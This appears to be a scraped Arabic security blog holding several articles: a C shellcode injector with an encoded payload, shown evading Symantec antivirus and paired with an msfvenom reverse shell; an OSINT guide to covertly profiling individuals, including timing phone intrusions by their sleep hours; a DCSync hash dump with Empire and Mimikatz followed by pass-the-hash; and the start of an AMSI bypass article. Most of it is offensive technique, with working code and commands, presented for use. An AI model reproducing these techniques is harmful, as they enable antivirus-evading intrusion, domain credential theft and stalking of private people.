unsigned char shellcode[] = "\xfd\x49\x84\xe5\xf1\xe9\xc1\x1\x1\x1\x42\x52\x42\x51\x53\x52\x57\x49\x32\xd3\x66\x49\x8c\x53\x61\x49\x8c\x53\x19\x49\x8c\x53\x21\x49\x8c\x73\x51\x49\x10\xb8\x4b\x4b\x4e\x32\xca\x49\x32\xc1\xad\x3d\x62\x7d\x3\x2d\x21\x42\xc2\xca\xe\x42\x2\xc2\xe3\xee\x53\x42\x52\x49\x8c\x53\x21\x8c\x43\x3d\x49\x2\xd1\x8c\x81\x89\x1\x1\x1\x49\x86\xc1\x75\x68\x49\x2\xd1\x51\x8c\x49\x19\x45\x8c\x41\x21\x4a\x2\xd1\xe4\x57\x49\x100\xca\x42\x8c\x35\x89\x49\x2\xd7\x4e\x32\xca\x49\x32\xc1\xad\x42\xc2\xca\xe\x42\x2\xc2\x39\xe1\x76\xf2\x4d\x4\x4d\x25\x9\x46\x3a\xd2\x76\xd9\x59\x45\x8c\x41\x25\x4a\x2\xd1\x67\x42\x8c\xd\x49\x45\x8c\x41\x1d\x4a\x2\xd1\x42\x8c\x5\x89\x49\x2\xd1\x42\x59\x42\x59\x5f\x5a\x5b\x42\x59\x42\x5a\x42\x5b\x49\x84\xed\x21\x42\x53\x100\xe1\x59\x42\x5a\x5b\x49\x8c\x13\xea\x58\x100\x100\x100\x5e\x49\xbb\x2\x1\x1\x1\x1\x1\x1\x1\x49\x8e\x8e\x2\x2\x1\x1\x42\xbb\x32\x8c\x70\x88\x100\xd6\xbc\xe1\x1e\x2b\xb\x42\xbb\xa7\x96\xbe\x9e\x100\xd6\x49\x84\xc5\x29\x3d\x7\x7d\xb\x81\xfc\xe1\x76\x6\xbc\x48\x14\x73\x70\x6b\x1\x5a\x42\x8a\xdb\x100\xd6\x64\x62\x6d\x64\x2f\x66\x79\x66\x1";

int i;
for(i=0;i<=sizeof(shellcode);i++){
	shellcode[i] = shellcode[i] - 0x01;
}


	HANDLE process_handle;
	DWORD pointer_after_allocated;
	process_handle =  OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id);
	if (process_handle==NULL)
{ 
	  puts("[-]Error while open the process\n");

}else{
	puts("[+] Process Opened sucessfully\n");
}
	pointer_after_allocated = VirtualAllocEx(process_handle, NULL , sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if(pointer_after_allocated==NULL){
		puts("[-]Error while get the base address to write\n");
	}else{
		printf("[+]Got the address to write 0x%x\n", pointer_after_allocated);
	}

	if(WriteProcessMemory(process_handle, (LPVOID)pointer_after_allocated, (LPCVOID)shellcode, sizeof(shellcode), 0)){
		puts("[+]Injected\n");
		puts("[+]Running the shellcode as new thread !\n"); 
		CreateRemoteThread(process_handle, NULL, 100,(LPTHREAD_START_ROUTINE)pointer_after_allocated, NULL, NULL, 0); 

	}else{
	puts("Not Injected\n");
	}
	
	
	
}

حيث أننا بالسطر 18 قُمنا بإضافة for loop تقوم بطرح القيمة 0x01 من كل byte موجود بالـ shellcode لكي ترجعه لحالته الطبيعية أثناء الـ runtime ومن ثم حقنه وتشغيله في الـ Memory , وبعد ما قُمنا بعمل compile وتشغيل للبرنامج حصلنا على التالي:

Image may be NSFW.
Clik here to view.

كما نرى قُمنا بتشغيل الـ shellcode وعمِل دون مشاكل ودون أن يتم كشفه من SEP , وهذه صورة أخرى توضح فحص الملف من داخل Symantec بأخر تحديث له:

Image may be NSFW.
Clik here to view.

وطبعاً تم حقنه داخل الـ explorer.exe دون أي مشاكل أيضاً كما بالصور السابقة , الأن سوف نقوم بعمل reverse shell shellcode وإضافته للبرنامج الخاص بنا كالتالي:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.178.1 LPORT=1337 -f raw exitfunc=thread | python shellcode_encoder.py

ليُعطينا النتيجة:

Image may be NSFW.
Clik here to view.

وبعد إضافته للبرنامج وعمل compile له نحصل على الملف التالي:

Image may be NSFW.
Clik here to view.

والأن نتحقق من عمل nc listener على الـ port رقم 1337 كالتالي:

Image may be NSFW.
Clik here to view.

وأخيراً بعد تشغيل poc2.exe نحصل على التالي:

Image may be NSFW.
Clik here to view.

وهذه شكل الـ windows 10 بعد تنفيذ الملف:

Image may be NSFW.
Clik here to view.

تم حقن الـ shellcode وتشغيله دون أي مشاكل كما لاحظنا ودون أن يتم كشفه من قبل SEP وهذا الفيديو يوضح العملية:

للعلم تم إضافة بعض الجُزئيات الخاصة بإكتشاف رقم الـ process بشكل تلقائي داخل الكود بالفيديو والتي لم يتم شرحها بهذا المقال

مقال: فن جمع المعلومات عن هدفك بواسطه الـOSINT –الجزء الثالث

السلام عليكم ورحمه الله.

عدت أليكم بالجزء الثالث من سلسله الـOSINT كما وعدت والتي أن فاتتك فهذه المقالات الفائته:

أعرف هدفك قبل الهجوم: مقدمه الي الـOSINT

فن جمع المعلومات عن هدفك بواسطه الـOSINT – الجزء الثاني

والأن فلنبدأ في الجزء الثالث.

قبل أن نبدأ من الضروري أن نتحدث عن بعض الخطوات التي يجب أن تتخذها حتى تضمن عدم كشفك سواء أذا أخطأت أو لا عندما تكون تقوم بالـOSINT على أي شخص وقد تركتها حتى هذا المقال حتى يكون لدينا شئ لنتحدث عنه والحمايه منه نوعا ما Image may be NSFW.
Clik here to view.
😀

  1. أستخدم VPN أو الـTOR: لأن في حاله كنت مثلا تبحث في موقع خاص به وشك بك بسبب request محدد أرسلته لا يكون لديه الـIP الخاص بك والمكان.
  2. أستخدم حسابات مزيفه لا علاقه لها بك على جميع مواقع التواصل الأجتماعي : لأنك أن كنت تقوم بأستخدام حساباتك الشخصيه وحدث خطأ بسيط مثل أن قمت بأعجاب على منشور ما لديه على الفيسبوك مثلا لا يتسبب بكشف شخصيتك له.
  3. قم بأخذ نسخه من كل دليل: لأنه أن قمت بخطأ ما وبدأ هذا الشخص يرتاب فقد تجد فجأه جميع الحسابات أقفلت أو قام بسمح بعد الدلائل التي أنت ذكرته بها وفجأه تجد كل جهدك قد تبخر, فا هذه الحاله قم بأخذ صوره أو نسخه من كل شئ تراه تحسبا للخطأ وتستطيع أن تستخدم موقع Archive.today أيضا لهذا الغرض فقد أعطه اللينك لحساب الشخص المطلوب مثلا وستقوم بأخذ نسخه من الصفحه.
  4. قم بعمل كل الـScans التي تفعلها من على من على سيرفر خارجي: هذه قد لا تكون ضروريه أو غير مفيده لنا قليلا في الـOSINT ولكن الوقايه خير من العلاج فأنت لا تعلم ما الذي ترسله الأداه بينما تقوم بعمل Scan والذي قد يكشف عنك معلومات أن قمت به من جهازك.

في المقال الفائت قلت أنني في المقال هذا سأتحدث عن وسائل التواصل الأجتماعي بشكل أساسي ولذلك سأنظم المقال الي أجزاء كل جزء عباره عن منصه التواصل الأجتماعي هذه وسيكون شعارنا طوال المقال “على قدر ما تكون الشبكه أجتماعيه معروفه ومنتشره على قدر ما تأتي المعلومات التي نستطيع جلبها Image may be NSFW.
Clik here to view.
😀
” أريدك أن تظل متذكر هذه الجمله والأن نبدأ بعون الله.

Facebook

ومن منا لا يعرف منصه التواصل الأجتماعي فيسبوك وما تعلمه عنا ولكن هنا سأخبرك ما قد لا تعلم أن الناس قد تستطيع أن تعلمه عنك..

Facebook Search

Image may be NSFW.
Clik here to view.

نعم البحث العادي الخاص بموقع الفيس قد يكشف عنك الكثير الذي ليس لك تحكم به أن تخفيه وقليل تستطيع أن تتحكم في من يراه!

والأن سأبدأ بوضع لينك بحث لكل شيء وكل الذي عليك فعله هو أستبدال كلمه id بالأيدي الخاص بالهدف في اللينك. فعلى سبيل المثال أول لينك يجلب المناطق التي زارها الهدف

https://www.facebook.com/search/<id>/places-visited/

وعندما تستبدل الـID, وعلى سبيل المثال سأستبدل الأيدي الخاص بي :D, فيكون اللينك بهذا الشكل

https://www.facebook.com/search/100002073286750/places-visited/

وستكون الصفحه الناتجه بهذا الشكل Image may be NSFW.
Clik here to view.
😀

Image may be NSFW.
Clik here to view.

الأن باقي روابط البحث متتابعه:

أخر أماكن زارها:

https://www.facebook.com/search/<id>/recent-places-visited/

الصفحات التي قام بعمل أعجاب لها:

https://www.facebook.com/search/<id>/pages-liked

جميع الصور التي قام بوضعها:

https://www.facebook.com/search/<id>/photos-by

جميع الصور التي قام أحد بعمل Tag له فيها: (هذا من أفيدهم :D)

https://www.facebook.com/search/<id>/photos-of

جميع الصور التي علق عليها Image may be NSFW.
Clik here to view.
😀

https://www.facebook.com/search/<id>/photos-commented

جميع التطبيقات التي يستخدمها:

https://www.facebook.com/search/<id>/apps-used

جميع الفيديوهات التي قام أحد بعمل Tag له فيها: (من أفيدهم)

https://www.facebook.com/search/<id>/videos-tagged

جميع الفيديوهات التي وضعها:

https://www.facebook.com/search/<id>/videos-by

جميع الفيديوهات التي قام بعمل أعجاب لها:

https://www.facebook.com/search/<id>/videos-liked

جميع الفيديوهات التي قام بعمل تعليق عليها:

https://www.facebook.com/search/<id>/videos-commented

جميع الـEvents التي قام بعملها:

https://www.facebook.com/search/<id>/events

وأستطيع أن أكمل على هذا المنوال ولكن هناك موقع يقوم بعمل هذا بشكل أوتوماتيك وقد قمت بذكره من قبل ومررت عليه مرور الكرام ولم أشرح فيه شيء وهو موقع inteltechniques وسوف نشرحه جزء جزء وسنقوم بالأعتماد عليه اليوم في العديد من المواقع.

أولا تستطيع أن تأتي بالأيدي الخاص بالهدف عن طريق وضع اليوزر نيم في الصندوق الأول ومن ثم تضع الأيدي في الصندوق الثاني ومن ثم تضغط زر Populate All ليقوم بوضع الأيدي في جميع الصناديق

والجزء الأول من صناديق البحث:

Image may be NSFW.
Clik here to view.

كما ترى تستطيع أن تأتي بالذي يعملون معه والذي يعملون عنده, جميع الـEvents التي حضرها أو دعى لها أو عملها وفي السنه المحدده لذلك, أصدقائه والأشياء التي قام أصدقائه بالأعجاب بها, أقاربه, متابعينه والمجموعات التي ينتمى لها والمزيد المزيد والذي ذكرناه من قبل بالأعلى!

الأن هل أنتهى هنا ما نستطيع أن نأتي به من الفيسبوك ؟ بالعكس بل سنبدأ الأن :”D

بمجرد أن تحدد الأشخاص المقربين له سواء من أصدقائه أو أقرابه أو غيره تستطيع أن تأتي بالمشترك بينهم من أصدقاء أو أماكن زروها أو أعجابات أو Events والمزيد والذي قد يفتح الأبواب للمزيد من المعلومات المحتمله! وهذا كله ممكن عن طريق المجموعه الثانيه من صناديق البحث:

Image may be NSFW.
Clik here to view.

بل وتسطيع أن تأتي بمعلومات محدده عن أصدقاء الهدف أيضا مثل الصور التي أعجبوا بها أو علقوا عليها, المنشورات والصور والفيديوهات الخاصه بهم, الفيديوهات التي أعجبوا بها أو قاموا بالتعليق عليها, الـEvents التي حضروها, التطبيقات التي يستخدمونها, المنشورات التي علقوا عليها أو قام أحد بعمل Tag لهم بها وأخيرا الأماكن التي ذهبوا لها كما بالصوره التي بالأسفل:

Image may be NSFW.
Clik here to view.

تخيل أن هذا كله تستطيع أن تفعله من البحث الخاص بالفيس بوك فقط بمجرد معرفتك لحساب الهدف على الفيس بوك. ولكن ماذا أن لم يكن معي الحساب الخاص به ؟ تستطيع أن تجده أيضا عن طريق البحث الخاص بالفيس بوك من خلال ما تعلمه عنه فقط كما ترينا الصوره بالأسفل:

Image may be NSFW.
Clik here to view.

تستطيع أن تبحث عنه من خلال أسمه بالطبع ولكن أيضا تستطيع أن تبحث عن كل من قاموا بالأعجاب بشيء معين, كل من يعيشوا في مكان محدد, كل من درسوا في مكان محدد, كل من زاروا مكان محدد, كل من ذهبوا الي مكان محدد و أخيرا كل من يعمل في مكان محدد أو كان يعمل به ! ولكن هل هذا كل شيء ؟ هل هو بحث عام أخر ولكن محدد قليلا ؟

لا بل تستطيع أن تدمجهم مع بعضهم كما بالصوره فا تبحث عن كل من يعيش في كذا ويعجب بكذا أو كل من يسمى كذا ويعيش في كذا أو كل من يسمى كذا وقام بالأعجاب بكذا وأخيرا كل من يسمى كذا ويعمل بمكان معين.

الأن تخيل أن كل هذا تستطيع أن تأتي به من خلال البحث الخاص بالفيس بوك وبدون الأستعانه بأي أداه خارجيه تلتف حول السياسيات الخاصه بالفيس بوك مثلا (الموقع الذي أستخدمنها لا يقوم بشيء بنفسه بل يبحث لك ليسهل العمليه عليك) فأين هم الذين يدعون أن الفيس بوك يحافظ على خصوصيه مستخدمينه !؟ Image may be NSFW.
Clik here to view.
😀

Messenger

Image may be NSFW.
Clik here to view.

أستكمالا لمأساه موقع الفيس بوك سنتكلم عن أستغلال بسيط لموقع خدمه الماسنجر الخاصه بالفيس بوك والذي يستخدمها في التراسل.

بالطبع لن تندهش أذا قلت لك أن موقع الفيس يقوم بتسجيل كل الأوقات التي تقوم بها بفتح الموقع وعدد ساعات الأستخدام وما الى ذلك ولكن المزعج في الأمر أن أصدقائك يستطيعون أن يقوموا بتتبعك أيضا وخصوصا بعدما قام الفيس بوك بأنشاء موقع لخدمه الماسنجر من فتره فا من خلال الموقع تستطيع أن ترى أصدقائك متى يقوم أصدقائك بأستخدام الفيس بوك أو الماسنجر ومتى أخر مره قاموا بفتحه ومن هنا كانت فكره أستغلال هذه الميزه بعمل bot يقوم بتسجيل أوقات أستخدامك للفيسبوك على مدار الأسبوع وبما أن معظم الأشخاص لهم عاده أن يقوموا بتفقد الفيسبوك أول شيء عند الأستيقاظ وأخر شيء قبل النوم فأستطيع أن أخمن بدقه موعد نومك وموعد أستيقاظك يوميا وهى معلومه مهمه اذا كنتم لا تدركون هذا وسأقول لماذا الأن.

Image may be NSFW.
Clik here to view.

على سبيل المثال أذا كنت بصدد المحاوله لأختراق هاتفك وخائف أن أقوم بخطأ يتسبب بكشفي لك فتقوم أنت بأخذ التدابير اللازمه وما الى ذلك مما يصعب المهمه علي, فا بمعرفتي لموعد نومك وأستيقاظك سأقوم بكل المحاولات الخطره في الوقت اللي نائم به وعندما أقوم بأي خطأ سأعلم أنك أمامك حتى موعد أستيقاظك حتى تعلم بما قمت بفعله وأنا أمامي كل هذا الوقت لأكتشف طريقه لأصلح بها الخطأ الذي قمت به وهكذا يمكنك تخيل العديد من السيناريوهات الأخرى التي يكون بها معرفه موعد نومك بها مفيده Image may be NSFW.
Clik here to view.
😀

والأن أنا لست صاحب هذه الفكره أو لست أول من يفكر بها بالطبع ولكن هناك من قام بعمل أداه تقوم بحساب مواعيد نومك تلقائيا وهذا هو رابط التحميل وهذا رابط المقاله لمن يريد الأستزاده بالتفاصيل.

Twitter

هل تذكر الشعار الذي ذكرته في بدايه المقال؟ نعم سنأتي بمعلومات أقل هذه المره!

موقع burrrd

Image may be NSFW.
Clik here to view.

هو موقع ممتاز لتحليل حسابات تويتر وهو نفس فكره أداه tweets_analyzer الخاصه بـx0rz مع أختلاف الناتج قليلا Image may be NSFW.
Clik here to view.
😀

فعلى سبيل المثال سأقوم بتجربته على حسابي لترى بنفسك كم المعلومات الأحصائيه التي يخرجها هذا الموقع:

Image may be NSFW.
Clik here to view.
Image may be NSFW.
Clik here to view.
Image may be NSFW.
Clik here to view.

كما ترى تقوم بعمل أحصائيات كامله عن الحساب فمثلا من ناحيه عدد التغريدات حسب كل شهر وأهمهم هو أكثر الناس تواصلا معهم وهكذا.

موقع Foller.me

Image may be NSFW.
Clik here to view.

هل أعجبتك الأحصائيات في الموقع الفائت؟ اذا تفضل المزيد من الأحصائيات Image may be NSFW.
Clik here to view.
😀
ولنقم بالتجربه على حسابي أيضا ونرى الفرق

Image may be NSFW.
Clik here to view.
Image may be NSFW.
Clik here to view.
Image may be NSFW.
Clik here to view.

كما ترى العديد من الأحصائيات غير الموقع الأخر مثل أوقات التغريد وأستخدام الأيموشنز وأكثر الأشخاص الذي يقوم بعمل منشن لهم وأكثر وأكثر لتعرف على الشخص المستهدف أكثر من ناحيه تفضيلاته وهكذا.

موقع Tweetbeaver

Image may be NSFW.
Clik here to view.

كما ترى يمكنك موقع Tweetbeaver من العديد من الأشياء مثل تحميل التايم لاين الخاص باليوزر، المفضلات، قائمه الأصدقاء أو قائمه المتابعين ويمكنك من البحث بداخل المفضلات الخاصه باليوزر أو التايم لاين الخاص به ويمكنك حتى من ايجاد المتابعين المشتركين بين حسابين، الأصدقاء المشتركين أو حتى محادثه بين شخصين في التويتات! وهى أشياء كما ترى تكون مفيده جدا في العديد من السناريوهات المحتمله.

والأن نعود لموقع inteltechniques ونرى القسم الخاص بموقع Twitter ماذا يخبئ لنا

Image may be NSFW.
Clik here to view.

كما ترى يقدم لنا العديد من المزايا المفيده منها جلب أول تغريده والتغريدات بالسنين والتغريدات التي بداخل الكاش الخاص بجوجل والتي قد يكون منها ما مسح من على حساب المستخدم فلم تكن تستطيع أن تراها من قبل بالطبع و الأشياء المشتركه بينه وبين أصدقاء محدده وأيضا الأصدقاء المشتركين بينه وبين شخص أخر والتغريدات الموجهه منه لشخص أخر وهكذا.

وعلى الجانب الأخر نجد خيارات لأيجاد الحساب من خلال خطوط العرض والطول للأماكن التي من المحتمل أنه قام بالتغريد منها فا تبحث في الحسابات التي غردت في تلك المنطقه عنه وأيجاده من خلال كلمات من الممكن أن تكون موجوده في الـbio وكلمات يستخدمها في التغريد وأكثر. فكما ترى العديد من الأدوات المفيده في الكثير من الحالات.

Github

موقع جت هاب مثله مثل تويتر هناك الكثير من المعلومات المحتمله مثل المتابعين لليوزر والذين يتابعهم والربط مابينهم والـStargazers وغيرها من المعلومات المحتمله والأحصائيات الممكن حسابها ولكن سأخبرك بأخطر المعلومات التي يمكنك أن تستخرجها منه

الـAPI الخاص بموقع Github

عندما تقوم بأستخدام الـClient الخاص بـGit فأن من الأعدادات التي تقوم بضبطها هو اليوزر والأيميل الخاص بك فلو مثلا قمت بضبط الأيميل كما تقول لك الـDocumentation من على موقع Github بنفسه الخاصه بربط الـGit من على جهازك بالموقع والذي يكون بالأمر الأتي:

git config --global user.email "email@example.com"

فأنه كما يقول موقع جت هاب سيكون ظاهر مع الـcommits التي تقوم بها مستقبلا والتي هى معلومه يغفل عنها الكثير من الناس حتى أنا لم أكن أعرفها من قبل Image may be NSFW.
Clik here to view.
😀
ولكن ما علاقه هذه المعلومه بالـAPI الخاص بموقع جت هاب؟

العلاقه بينهم أن هذا الأيميل يكون معروض في endpoint من الـendpoints العامه على الـAPI الخاص بهم والتي لا تحتاج توثيق لفتحها وهى الـendpoints الخاصه بالـEvents لكل يوزر وبها جميع الـCommits والتي قمت بها بجميع تفاصيلها ومنها الأيميل الخاص بك الذي قمت بضبطه من قبل في الـGit وتستطيع أن تدخل عليها من الرابط التالي:

https://api.github.com/users/$user/events

فقط قم بأستبدال $user باليوزر نيم الخاص بالهدف ومن أبحث في الصفحه التي هتظهر عن الأيميل وهناك أداه تقوم بعمل هذا بشكل أوتوماتيك وهى github-email وبالطبع لا حاجه لذكر أن هذه الخدعه تكشف الأيميل الخاص بك الذي لا يعلم عنه أحد شيئا بسبب خطأك هذا Image may be NSFW.
Clik here to view.
😀

Youtube

موقع YouTube Geofind

Image may be NSFW.
Clik here to view.

كما ترى تقوم بأعطاء الـID الخاص بالقناه للموقع ويقوم الموقع بالبحث في القناه عن أي فيديوهات لها تاج جيوغرافي فا يقوم بأخبارك وأظهاره على الخريطه بالأعلى أو تقوم بتحميل ملف CSV لكل الأماكن والفيديوهات معا.

الجزء الخاص بالفيديوهات في موقع inteltechniques

Image may be NSFW.
Clik here to view.

بجانب باقي المواقع فأن الموقع يقدم لك بحث عكسي لكل مواقع الفيديوهات المشهوره الأخرى والتي منها اليوتيوب وهذا يكون عن طريق أعطائه الـid الخاص بالفيديو ومن ثم يقوم الموقع بعمل بحث عكسي على الصوره أو الـthumbnail الخاصه بالفيديو على جوجل فيعود لك كل الفيديوهات التي على مواقع اخرى لها نفس الصوره أو بها شبه منها

LinkedIn

موقع لينكدأن كان من الممكن أن يكون كنز للمعلومات بسبب أنه في الأساس شبكه أحترافيه ولكن للأسف أعدادات الخصوصيه به هى ما منعت حدوث هذا ولكن هناك بعض الأشياء التي يمكن عملها أيضا Image may be NSFW.
Clik here to view.
😀

أضافه FindThatLead لمتصفح الجوجل كروم

Image may be NSFW.
Clik here to view.

تقوم هذه الأضافه بجلب ايميل الشخص الذي ترى حسابه وأنا شخصيا قمت بتجربتها ونجحت في جلب الأيميلات في بعض الحسابات والبعض الأخر لا لكن تستحق التجربه.

أداه The Endorser

Image may be NSFW.
Clik here to view.

تقوم هذه الأداه برسم العلاقات بين الأشخاص عن طريق الترشيحات التي قاموا بها أو الـendorsements وعن طريق من قام بعمل ترشيح لمهارات الأخر وهكذا فا تصبح على علم بمن يعرف أو يتعامل مع الهدف الخاص بيك.

أداه InSpy

Image may be NSFW.
Clik here to view.

هى أداه مميزه للغايه تقوم بنائا على موقع HunterIO الذي عرضناه المقال الفائت وبأستخدام موقع LinkedIn بمعرفه كل الموظفين الموجودين في شركه محدده وهذه معلومه مهمه بالفعل.

Reddit

موقع Reddit Insight

Image may be NSFW.
Clik here to view.

يمكنك الموقع من جلب العديد من المعلومات عن يوزر محدد على الموقع وللتجربه سأقوم بالبحث عن يوزر نيم عشوائي

Image may be NSFW.
Clik here to view.

كما ترى جلب الأيقونه والوقت التي قام بعمل الحساب به وهكذا.

موقع redditsearch

Image may be NSFW.
Clik here to view.

كما ترى يمكنك الموقع من البحث بشكل مخصص جدا عما تريد.

Snapchat

للأسف موقع سناب شات ليس هناك الكثير لتجلبه منه ولكن هناك موقع واحد لأخبرك عنه

موقع Snap Map

Image may be NSFW.
Clik here to view.

الموقع يقوم بعمل خريطه حراريه لكل الفيديوهات التي ترفع على الموقع من مكانها الجغرافي وهذا قد يكون مفيد في عند متابعه حدث يحدث في مكان محدد فقط أضغط على المنطقه وسيبدأ الموقع بعرض الفيديوهات ولكن لن أقوم بهذا لا قم بذلك بنفسك Image may be NSFW.
Clik here to view.
😀

 Instagram.com

للأسف موقع أنستجرام هو الأخر ليس هناك الكثير مما نستطيع أن نفعله به

موقع izuum.com

Image may be NSFW.
Clik here to view.

موقع izuum تقوم بأعطائه اليوزر نيم  الخاص بأي يوزر على الموقع ويقوم بجلب صوره البروفايل لك بحجمها الكامل حتى تتفحصها وشيء مثل هذا لا يكون مفيد في الأغلب ألا أذا كنت تقوم بعمل Geo locating وتريد تحديد مكان ألتقاط الصوره عن طريق الذي بها مثل موقع Forensically الذي قمنا بذكره في المقال الفائت.


وهنا تكون مقالتنا قد أنتهت فلا أريد أن أطيلها أكثر وأرجوا أن تكون قد أعجبتكم المقاله فقد حاولت على قدر الأمكان أن أجعلها كا المرجع والسلام عليكم ورحمه الله وبركاته Image may be NSFW.
Clik here to view.
😀

مقال : تنفيذ هجوم DCSync بإستخدام Empire لعمل Domain users hashdump

في العديد من الحالات أثناء تنفيذنا لـ Red Team مُعين داخل شبكة معينة نريد الحصول على الـ Credentials أوالـ  Hashes الخاصه بالمستخدمين لإعادة إستخدامها وتوسيع نطاق عمليتنا داخل الشبكة , ولذلك العديد من الـ Red Teamers / Pentesters يقومون بإستخدام أداة Mimikatz لتنفيذ المطلوب فور الحصول على صلاحيات مُرتفعه داخل الـ Domain وقبل أن أقوم بإستكمال المقال لا بُد من أخذ نظره سريعه وخاطفه جداً عن Mimikatz.

ما هي Mimikatz ؟

أداة Mimikatz هي أداة مفتوحة المصدر تم تطويرها من قبل Benjamin Delpy تقوم بإستخراج الـ credentials وعرضها من داخل نظام Windows من خلال إستخرجها من خدمة lsass (Local Security Authority Subsystem Service) كما تقوم أيضاً بإستخراج الـ  kerberos tickets وبعض الأمور الرائعه الأخرى تجدها موجوده بصفحة الـ wiki الخاصه بالأداة على github كما أشرت لها مسبقاً.

في بعص إصدارات windows مثل windows 10 و windows server 2016 لا تستطيع عمل dump للـ plain text credentials ولكن تستطيع عمل dump للـ NTLM hashes لكي تقوم بإعادة إستخدامها لاحقاً.

يوجد من Mimikatz إصدار stand alone exe تستطيع إستخدامه على الأجهزه بشكل منفصل , أو تستطيع إستخدام mimikatz via powershell من خلال Invoke-Mimikatz Module والذي يُمكنك من الإستفادة من Mimikatz عبر تحميلها إلى الـ Memory مباشرة , سوف أقوم بمقالات لاحقه بذكر كيفية إستخدام Mimikatz بشكل أكبر وشرح كيفية عملها على مستوى النظام.

ولكن مُجدداً جميع هذه الهجمات وما تم ذكره يتطلب أن نقوم بتشغيل Mimikatz على جهاز الهدف لكي يقوم بعمل dump للـ hash الخاص به , ولكن هنالك هجوم نستطيع من خلاله عمل dump لجميع الـ hashes الخاص بالـ users على الـ Domain الذي نقوم بمهاجمته من خلال تنفيذ ما يُسمى DCSync attack.

ما هو DCSync attack ؟

هو هجوم نستطيع تنفيذه من خلال Mimikatz يُمكننا من جمع الـ hashes الخاصه بمُستخدمين الـ Domain من خلال مُخاطبة الـ Domain Controller بشكل وهمي كـ  Domain Controller أخر لطلب الحصول على نسخة من الـ users hashes.

لتنفيذ هذا الهجوم لا بد أن يتم تنفيذ هذا الهجوم من خلال Domain Admin أو مستخدم ضمن مجموعة مخوله للقيام بهذا الأمر.

سوف نقوم بإستخدام Empire بعد أخذ صلاحيات Domain Administrator ومن ثم عمل DcSync Attack من خلال Mimikatz الموجوده بالأصل داخل Empire , أي أننا سوف نقوم بتحميل Mimikatz على الـ Memory ومن ثم تنفيذ الهجوم.

كما نرى من Empire فإن الـ Empire agent يعمل تحت مُستخدم إسمه sami وهو جزء من الـ DarkSide Domain ويعمل بـ elevated privileges أي كـ admin على الـ local machine:

Image may be NSFW.
Clik here to view.

دعونا نستعرض سريعاً الـ users الموجودين بالـ Domain ولنبحث سريعاً عن الـ user الخاص بنا وهو Sami , من خلال الـ Module المُسمى situational_awareness/network/powerview/get_user:

Image may be NSFW.
Clik here to view.

ونتيجة تنفيذ الأمر هي:

Image may be NSFW.
Clik here to view.

المستخدم Sami هو جزء من الـ Domain Admins Group , طبعاً قمنا بتنفيذ هذه العملية من خلال powerview بالأساس من خلال إستدعاء get_user وتمرير المتغير Identity له بالقيمة Sami لكي يقوم بجلب جميع البيانات عن المستخدم Sami.

الأن وبعدما علمنا أننا جزء من الـ Domain admin group دعونا نقوم بعمل DCSync من خلال Mimikatz , أود التنويه بأن هنالك Module جاهز داخل empire بإسم dcsync_hashdump ولكنه unstable بشكل كبير , لذلك سوف أقوم بإستخدام الـ Module المُسمى credentials/mimikatz/command ومن ثم تمرير الـ command الخاص بعمل dcsync داخل Mimikatz وهو “lsadump::dcsync /domain:domainname /all /csv” وهذا الأمر يقوم بإستخراج جميع الـ hashes من خلال الـ DCSync لدومين مُعين وعرضها بصيغة CSV , دعونا نقوم بتنفيذ الهجوم ولنرى ماذا سوف يحصل:

Image may be NSFW.
Clik here to view.

كما نرى تم إستخراج الـ hashes الخاصه بمُستخدمين الـ domain وأهمها بالنسبة لنا هو krbtgt hash والذي من خلاله نستطيع توليد golden ticket لإستخدامها لاحقاً.

دعونا نتحقق من Administrator hash بإستخدام Impacket psexec من خلال تمريره لـ 172.12.1.25 وهو الجهاز الذي قمنا بإختراقه مسبقاً كما يلي:

Image may be NSFW.
Clik here to view.

كما نرى تمكنا من الحصول على shell بإستخدام psexec من خلال تمرير الـ hash الذي قُمنا بالحصول عليه.

أتمنى أن يكون المقال نال إعجابكم وإلى اللقاء في مقالات أخرى.

مقال : تحليل خاصية AMSI وتخطيها داخل windows 10 من خلال Empire

في العديد من الأحيان أثناء تنفيذها لـ Red Team / Penetration Test نحاول أن نقوم بتشغيل powershell script مُعين ولكن نكتشف أثناء التشغيل بأن powershell قد قام بمنع عملية التنفيذ وقام بإعتبار السكربت الذي نقوم بتنفيذه كملف ضار , وطبعاً هذه مشكلة يجب التعامل معها لإستكمال العملية لكي لا تُعيقنا أثناء تنفيذ أي سكربتات, هذه المشكلة تظهر من خلال ما يُسمى AMSI – Anti Malware Scanner Interface وهي إضافة تم إستحدثها في أنظمة windows سوف أقوم بشرحها بإختصار كما يلي:

ما هي AMSI ؟

كما ذكرت مسبقاً هي خاصية مُضافة لنظام windows أو كما يتم تعريفها بأنها “Interface” يقوم بشكل رئيسي بالتخاطب مع الـAnti-Virus solution الموجود داخل الجهاز بهدف إستخدامه لفحص بعض العناصر مثل النصوص التي يتم تنفيذها داخل powershell أو حتى VBScript وبعض الملفات الأخرى التي تجدها داخل الوصف الرئيسي للخدمة , حيث تساهم هذه الخاصية بمراجعة الأكواد التي يتم تنفيذها في حالتنا داخل powershell وفي حال كانت تحتوي على أكواد ضاره يتم منعها وعدم تشغيلها داخل powershell مما يُسبب لنا مشكلة كبيرة أثناء تنفيذ العديد من الـ scripts المفيده لنا.

الـ AMSI بشكل رئيسي تعتمد على الـ Anti-Virus Solution الموجود على الجهاز , لذلك على سبيل المثال قد تختلف نتائج تنفيذ malicious powershell script من جهاز إلى أخر حسب الـ Solution الموجود كما ذكرت مسبقاً , لذلك في حال كُنت تريد تشغيل powershell script مُعين على جهاز هدف , تستطيع عمل بيئة عمل مُشابهه للهدف لديك ومحاولة تخطي الـ AMSI عليها قبل تطبيقها داخل الـ engagement لتجنب أن يتم كشف أمرك Image may be NSFW.
Clik here to view.
😀

لكي نفهم الـ AMSI بشكل أكبر دعونا نقوم بتجربة عملية له لنرى كيف يقوم بكشف النصوص داخل script مُعين , سوف نقوم بإستخدام كلمة مشهوره مُتعارف عليها بأنها ضاره من قبل الـ Anti-Virus Solutions وهي “amsiutils” حيث أن هذه الكلمة في حال وجدت داخل سكربت مُعين تُعتبر ضاره , لذلك دعونا نقوم بإستكشاف الـ AMSI عن قرب أكثر كما يلي:

Image may be NSFW.
Clik here to view.

كما نرى تم كشفها بالفعل من الـ AMSI !

